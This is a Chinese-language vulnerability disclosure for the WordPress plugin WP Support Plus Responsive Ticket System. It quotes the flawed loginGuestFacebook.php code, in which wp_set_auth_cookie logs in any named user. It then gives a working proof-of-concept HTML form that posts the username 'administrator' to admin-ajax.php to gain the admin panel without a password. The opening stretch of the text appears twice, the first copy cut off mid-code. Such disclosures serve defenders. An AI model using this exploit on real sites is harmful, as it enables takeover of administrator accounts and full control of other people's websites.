### 漏洞插件地址 https://wordpress.org/plugins/wp-support-plus-responsive-ticket-system/ ### 漏洞说明 你可以登录任何人的账号,无需知道密码。这个漏洞是由于错误的使用wp_set_auth_cookie()导致的。 文件:wp-support-plus-responsive-ticket-system\includes\admin\loginGuestFacebook.php ``` <?php if($_POST['email']=='') die(); $user_id = username_exists( $_POST['username'] ); if(!$user_id){ $user_id=email_exists($_POST['email']); if(!$user_id){ $random_password = wp_generate_password( $length=12, $include_standard_special_chars=false ); $user_id= wp_create_user( $_POST['username'], $random_password, $_POST['email'] ); $full_name=explode(' ', $_POST['name']); $firstName=(isset($full_name[0]))?$full_name[0]:''; $lastName=(isset($full_name[1]))?$full_name[1]:''; wp_update_user( array( 'ID' => $user_id, 'first_name'=>$firstName, 'last_name'=>$lastName, 'display_name' => $_POST['name'], 'role' => 'subscriber' ) ); } } $user_info = get_userdata($user_id); if ( !is_user_logged_in() ) { wp_set_current_user( $user_id, $user_info->user_login );...
### 漏洞插件地址 https://wordpress.org/plugins/wp-support-plus-responsive-ticket-system/ ### 漏洞说明 你可以登录任何人的账号,无需知道密码。这个漏洞是由于错误的使用wp_set_auth_cookie()导致的。 文件:wp-support-plus-responsive-ticket-system\includes\admin\loginGuestFacebook.php ``` <?php if($_POST['email']=='') die(); $user_id = username_exists( $_POST['username'] ); if(!$user_id){ $user_id=email_exists($_POST['email']); if(!$user_id){ $random_password = wp_generate_password( $length=12, $include_standard_special_chars=false ); $user_id= wp_create_user( $_POST['username'], $random_password, $_POST['email'] ); $full_name=explode(' ', $_POST['name']); $firstName=(isset($full_name[0]))?$full_name[0]:''; $lastName=(isset($full_name[1]))?$full_name[1]:''; wp_update_user( array( 'ID' => $user_id, 'first_name'=>$firstName, 'last_name'=>$lastName, 'display_name' => $_POST['name'], 'role' => 'subscriber' ) ); } } $user_info = get_userdata($user_id); if ( !is_user_logged_in() ) { wp_set_current_user( $user_id, $user_info->user_login ); wp_set_auth_cookie( $user_id ); do_action( 'wp_login', $user_info->user_login ); } ?> ``` ### 漏洞证明 使用下面的表单: ``` <form method="post" action="http://wp/wp-admin/admin-ajax.php"> Username: <input type="text" name="username" value="administrator"> <input type="hidden" name="email" value="sth"> <input type="hidden" name="action" value="loginGuestFacebook"> <input type="submit" value="Login"> </form> ``` 你就可以进入管理员面板了。